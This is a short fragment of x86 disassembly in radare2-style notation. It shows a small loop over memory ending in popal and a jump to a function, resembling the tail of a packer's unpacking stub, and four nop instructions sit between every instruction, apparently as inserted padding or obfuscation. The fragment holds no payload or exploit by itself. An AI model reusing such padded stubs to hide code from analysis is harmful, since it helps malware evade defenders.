nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
popal
nop
jmp fcn.00401219